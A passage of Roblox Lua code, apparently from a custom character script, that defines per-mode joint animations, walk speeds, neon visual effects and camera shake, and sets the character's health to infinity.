ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * ANGLES(RAD(0), RAD(0), RAD(0)), 0.3) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(-70) * COS(SINE / 7) , RAD(-90), RAD(-5)), 0.1) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(70) * COS(SINE / 7) , RAD(90), RAD(5)), 0.1) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 45 then Speed = 20 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1) * ANGLES(RAD(5), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(MRANDOM(-15, 25) - 2.5 * SIN(SINE / 12)), RAD(MRANDOM(-15, 25)), RAD(MRANDOM(-15, 25))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(35 * COS(SINE / WALKSPEEDVALUE)), RAD(0), RAD(5)) * RIGHTSHOULDERC0, 0.35 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-35 * COS(SINE / WALKSPEEDVALUE)), RAD(0), RAD(-5)) * LEFTSHOULDERC0, 0.35 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1 - 0.15 * COS(SINE / WALKSPEEDVALUE*2), -0.2+ 0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-15)), 2 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.15 * COS(SINE / WALKSPEEDVALUE*2), -0.2+ -0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(15)), 2 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 46 then Speed = 25 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 1.3 + 0.5 * COS(SINE / 24)) * ANGLES(RAD(24), RAD(-5 * SIN(SINE / 24)), RAD(0)), 0.4 / Animation_Speed*3) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-24), RAD(5 * SIN(SINE / 24)), RAD(MRANDOM(-5.5,5.5))), 0.2) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5 + 0.15 * COS(SINE / 24), 0) * ANGLES(RAD(-45), RAD(0), RAD(14 + 6.5* SIN(SINE / 24)))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5 + 0.15 * COS(SINE / 24), 0) * ANGLES(RAD(-45), RAD(0), RAD(-14 - 6.5 * SIN(SINE / 24))) * LEFTSHOULDERC0, 0.4 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.1 * COS(SINE / 24), 0) * ANGLES(RAD(-25), RAD(78), RAD(0)) * ANGLES(RAD(-5 * SIN(SINE / 24)), RAD(0), RAD(5)), 0.4 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.3 - 0.1 * COS(SINE / 24), -0.5) * ANGLES(RAD(0), RAD(-78), RAD(0)) * ANGLES(RAD(-5 * SIN(SINE / 24)), RAD(0), RAD(5)), 0.4 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 47 then Speed = 16 snap = math.random(1,6) if snap == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0*CF(0,0,0+((1)-1))*ANGLES(math.rad(math.random(-1000,1000)),math.rad(math.random(-1000,100)),math.rad(math.random(-1000,1000))),1/Animation_Speed) end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 2 + 1 * COS(SINE / 18)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.35, 0.5 + 0.1 * COS(SINE / 12), 0.2) * ANGLES(RAD(0), RAD(-25), RAD(25 + 8 * COS(SINE / 12))) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.35, 0.5 + 0.1 * COS(SINE / 12), 0.2) * ANGLES(RAD(0), RAD(25), RAD(-25 - 8 * COS(SINE / 12))) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.65 - 0.2 * COS(SINE / 12), -0.35) * ANGLES(RAD(-25 + 6 * COS(SINE / 12)), RAD(80), RAD(0)) * ANGLES(RAD(2 * COS(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.2 * COS(SINE / 12), 0) * ANGLES(RAD(-5 + 2 * COS(SINE / 12)), RAD(-80), RAD(0)) * ANGLES(RAD(2 * COS(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 48 then Speed = 40 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 1.3 + 0.5 * COS(SINE / 24)) * ANGLES(RAD(24), RAD(-5 * SIN(SINE / 24)), RAD(0)), 0.4 / Animation_Speed*3) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-24), RAD(5 * SIN(SINE / 24)), RAD(MRANDOM(-5.5,5.5))), 0.2) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5 + 0.15 * COS(SINE / 24), 0) * ANGLES(RAD(-45), RAD(0), RAD(14 + 6.5* SIN(SINE / 24)))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5 + 0.15 * COS(SINE / 24), 0) * ANGLES(RAD(-45), RAD(0), RAD(-14 - 6.5 * SIN(SINE / 24))) * LEFTSHOULDERC0, 0.4 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.1 * COS(SINE / 24), 0) * ANGLES(RAD(-25), RAD(78), RAD(0)) * ANGLES(RAD(-5 * SIN(SINE / 24)), RAD(0), RAD(5)), 0.4 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.3 - 0.1 * COS(SINE / 24), -0.5) * ANGLES(RAD(0), RAD(-78), RAD(0)) * ANGLES(RAD(-5 * SIN(SINE / 24)), RAD(0), RAD(5)), 0.4 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 49 then Speed = 20 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * ANGLES(RAD(0), RAD(0), RAD(0)), 0.3) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(-70) * COS(SINE / 7) , RAD(-90), RAD(-5)), 0.1) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5,0.5,0) * ANGLES(RAD(140 + 6.5 * SIN(Sine / 34)), RAD(5*SIN(Sine/34)), RAD(10 * SIN(Sine / 34))) * ANGLES(RAD(5), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 0.5 / 3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 50 then Speed = 30 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 1.3 + 0.5 * COS(SINE / 24)) * ANGLES(RAD(24), RAD(-5 * SIN(SINE / 24)), RAD(0)), 0.4 / Animation_Speed*3) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-24), RAD(5 * SIN(SINE / 24)), RAD(MRANDOM(-5.5,5.5))), 0.2) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5,0.5,0) * ANGLES(RAD(120 + 6.5 * SIN(Sine / 34)), RAD(5*SIN(Sine/34)), RAD(10 * SIN(Sine / 34))) * ANGLES(RAD(5), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 0.5 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5 + 0.15 * COS(SINE / 24), 0) * ANGLES(RAD(-45), RAD(0), RAD(-14 - 6.5 * SIN(SINE / 24))) * LEFTSHOULDERC0, 0.4 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.1 * COS(SINE / 24), 0) * ANGLES(RAD(-25), RAD(78), RAD(0)) * ANGLES(RAD(-5 * SIN(SINE / 24)), RAD(0), RAD(5)), 0.4 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.3 - 0.1 * COS(SINE / 24), -0.5) * ANGLES(RAD(0), RAD(-78), RAD(0)) * ANGLES(RAD(-5 * SIN(SINE / 24)), RAD(0), RAD(5)), 0.4 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 51 then Speed = 20 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * ANGLES(RAD(0), RAD(0), RAD(0)), 0.3) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(-70) * COS(SINE / 7) , RAD(-90), RAD(-5)), 0.1) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5,0.5,0) * ANGLES(RAD(140 + 6.5 * SIN(Sine / 34)), RAD(5*SIN(Sine/34)), RAD(10 * SIN(Sine / 34))) * ANGLES(RAD(5), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 0.5 / 3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 52 then Speed = 22 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0,0,2+0.5*COS(SINE / 12))*ANGLES(RAD(25+2.5*COS(SINE / 12)),RAD(0-RootPart.RotVelocity.y),RAD(0 - RootPart.RotVelocity.Y * 4.5 + 3 * COS(SINE / 47))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-1+-2*COS(SINE / 32)), RAD(0), RAD(10)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-90-10*math.cos(sine/7)), RAD(0), RAD(10)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-90-10*math.cos(sine/7)), RAD(0), RAD(-10)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1-.001*COS(SINE / 7), -0.01) * ANGLES(RAD(-10-2.5*math.cos(sine/7)), RAD(75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -.5-.001*math.cos(sine/7), -0.5) * ANGLES(RAD(-25-2.5*math.cos(sine/7)), RAD(-75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 53 then Speed = 13 WACKYEFFECT({Time = 50, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = .5, Transparency2 = 1, CFrame = RightArm.CFrame*CF(0,-1.45,0), MoveToPos = nil, RotationX = nil, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),0,0) , SoundID = nil, SoundPitch = nil, SoundVolume = nil}) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(10 - 2* SIN(SINE / 6)), RAD(0+5* SIN(SINE / 12)), RAD(0)), 0.8 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0-60* SIN(SINE / 12)), RAD(0), RAD(5)) * RIGHTSHOULDERC0, 0.8 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0+60* SIN(SINE / 12)), RAD(0), RAD(-5)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1+0.1* SIN(SINE / 6)) * ANGLES(RAD(15), RAD(0), RAD(0)), 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1.01 , -1, 0-0.07*SIN(SINE/12)) * ANGLES(RAD(0), RAD(75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-5 + 60 * SIN(SINE / 12))), 0.8 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1.01, -1, 0+0.07*SIN(SINE/12)) * ANGLES(RAD(0), RAD(-75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5 + 60 * SIN(SINE / 12))), 0.8 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 54 then Speed = 15 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.2 * COS(SINE / 12)) * ANGLES(RAD(25), RAD(0), RAD(8*COS(SINE/16))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(20), RAD(10), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(190), RAD(30), RAD(5)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.4, 0.5, -0.4) * ANGLES(RAD(25), RAD(-30), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1 - 0.2 * COS(SINE / 12), 0) * ANGLES(RAD(40*COS(SINE/16)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-5)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.2 * COS(SINE / 12), 0) * ANGLES(RAD(-40*COS(SINE/16)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 55 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.2 * COS(SINE / 6)) * ANGLES(RAD(25), RAD(0), RAD(8*COS(SINE/12))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-20), RAD(0), RAD(-6*COS(SINE/12))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-65), RAD(0), RAD(10)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(60*COS(SINE/12)), RAD(-10), RAD(10)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1 - 0.2 * COS(SINE / 6), 0) * ANGLES(RAD(60*COS(SINE/12)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-10)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.2 * COS(SINE / 6), 0) * ANGLES(RAD(-60*COS(SINE/12)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(10)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 56 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.2 * COS(SINE / 6)) * ANGLES(RAD(25), RAD(0), RAD(8*COS(SINE/12))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(5 - 8 * SIN(SINE / (WALKSPEEDVALUE / 2))), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.35, 0.5, -0.5) * ANGLES(RAD(150), RAD(0), RAD(-55))* RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.1, 0.2, -0.7) * ANGLES(RAD(50), RAD(15), RAD(90)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1 - 0.2 * COS(SINE / 6), 0) * ANGLES(RAD(60*COS(SINE/12)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-10)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.2 * COS(SINE / 6), 0) * ANGLES(RAD(-60*COS(SINE/12)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(10)), 1 / Animation_Speed) elseif mde == 57 then Speed = 20 --[[ Neck.C0=CFrame.new(0,1,0)*CFrame.Angles(math.rad(90 + 5 * math.cos(SINE/60)),math.rad(180),math.rad(0 + 5 * math.cos(SINE/60))) RootJoint.C0=CFrame.new(0 + 1 * math.cos(SINE/50),0 + 1 * math.cos(SINE/80),0 + 1 * math.cos(SINE/70))*CFrame.Angles(math.rad(60),math.rad(180),math.rad(0)) RightShoulder.C0=CFrame.new(1.5,0.5,-0.5)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(5 + 5 * math.cos(SINE/40))) LeftShoulder.C0=CFrame.new(-1,0,0.4)*CFrame.Angles(math.rad(-30.7 + 5 * math.cos(SINE/60)),math.rad(9.1 + 5 * math.cos(SINE/50)),math.rad(32.1 + 5 * math.cos(SINE/40))) RightHip.C0 = CFrame.new(0.5,-0.7,0.3)*CFrame.Angles(math.rad(-10 + 10 * math.cos(SINE/45)),math.rad(0),math.rad(1 + 1 * math.cos(SINE/50))) LeftHip.C0=CFrame.new(-0.5,-1,0.3)*CFrame.Angles(math.rad(0 + 5 * math.cos(SINE/50)),math.rad(0),math.rad(1 - 1 * math.cos(SINE/50))) ]] RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.2 * COS(SINE / 6)) * ANGLES(RAD(25), RAD(0), RAD(8*COS(SINE/12))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(5 - 8 * SIN(SINE / (WALKSPEEDVALUE / 2))), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.35, 0.5, -0.5) * ANGLES(RAD(150), RAD(0), RAD(-55))* RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.1, 0.2, -0.7) * ANGLES(RAD(50), RAD(15), RAD(90)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1 - 0.2 * COS(SINE / 6), 0) * ANGLES(RAD(60*COS(SINE/12)), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-10)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.2 * COS(SINE / 6), 0) * ANGLES(RAD(-60*COS(SINE/12)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(10)), 1 / Animation_Speed) elseif mde == 58 then Speed = 35 WACKYEFFECT({Time = 2.5, EffectType = "Sphere", Size = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Size2 = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500)), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) CamShakeAll(sick.PlaybackLoudness/45,sick.PlaybackLoudness/45) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1) * ANGLES(RAD(5), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(MRANDOM(-15, 25) - 2.5 * SIN(SINE / 12)), RAD(MRANDOM(-15, 25)), RAD(MRANDOM(-15, 25))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.55, 0.5, 0.5) * ANGLES(RAD(250), RAD(20), RAD(-80))* RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-35 * COS(SINE / WALKSPEEDVALUE)), RAD(0), RAD(-5)) * LEFTSHOULDERC0, 0.35 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1 - 0.15 * COS(SINE / WALKSPEEDVALUE*2), -0.2+ 0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-15)), 2 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.15 * COS(SINE / WALKSPEEDVALUE*2), -0.2+ -0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(15)), 2 / Animation_Speed) elseif mde == 59 then WACKYEFFECT({Time = 2.5, EffectType = "Slash", Size = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Size2 = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) CamShakeAll(sick.PlaybackLoudness/70,sick.PlaybackLoudness/70) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15 - 2.5 * SIN(SINE / 12) + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5 + 0.1 * COS(SINE /12), 0) * ANGLES(RAD(0+ 40 * COS(SINE / 12) + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4)), RAD(12 + MRANDOM(-4,4))) * RIGHTSHOULDERC0, 0.15 / Animation_Speed) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, -0.15 + 0.1 * COS(SINE / 12), -0.05 + 0.1 * COS(SINE / 12)) * ANGLES(RAD(15 - 2.5 * COS(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.4, 0.8, 0) * ANGLES(RAD(165 + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4)), RAD(25 + MRANDOM(-4,4))) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-5 + 50 * SIN(SINE / 12))), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5 + 50 * SIN(SINE / 12))), 0.15 / Animation_Speed) end end end unanchor() Humanoid.MaxHealth = "inf" Humanoid.Health = "inf" if Rooted == false then Disable_Jump = false Humanoid.WalkSpeed = Speed elseif Rooted == true then Disable_Jump = true Humanoid.WalkSpeed = 0 end if info == false then chat.Parent = nil chat2.Parent = nil elseif info == true then chat.Parent = Character chat2.Parent = Character end if info == true then chatweld.C0 = Clerp(chatweld.C0, CF(5,2,-4.5) * ANGLES(RAD(RAD(-15)),RAD(130),RAD(-4)), 1) 